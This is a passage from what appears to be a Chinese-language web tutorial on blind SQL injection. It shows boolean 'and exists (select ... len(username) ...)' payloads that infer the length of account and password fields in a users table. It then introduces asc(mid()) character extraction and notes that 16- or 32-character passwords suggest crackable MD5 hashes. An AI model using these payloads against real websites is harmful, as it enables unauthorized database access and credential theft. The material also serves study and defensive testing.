![]() |
|
|
|
首先判断账号username的字符长度:and exists (select userid from users where len(username)<10 and userid=11),返回正常说明长度小于10,and exists (select userid from users where len(username)>5 and userid=11),返回不正常说明长度小于5,最后猜到的是 and exists (select userid from users where len(username)=4 and userid=11),说明账号的长度为4,也太短了吧,呵呵,别高兴的太早,如图6: ![]() 再接下来猜密码长度,与猜解账号长度类似,最后猜到密码长度为16位,语句:and exists (select userid from users where len(userpwd)=16 and userid=11),不过我要提醒的是,一般遇到16位或者32位的密码,我都会想到MD5加密,当然可以暴力破解。 到此,我们得到的信息如下: 账号username长度:4 密码userpwd长度:16 7.猜解账号密码字符 在这里的猜解要用到asc(mid())这个函数。前面基础篇我们已经讲过这些函数了,我这里稍提一下。 asc()是把字符转换为其对应的ASC码,mid()则是定位字符串里的字符。 格式:mid(字符串,开始位置,子串长度) [table] | ||||||||
下一篇SQL注入攻击的原理及其防范措施 上一篇细说暴库的原理与方法 |
|
||||||||||
|
|
||||||||||
|
|
|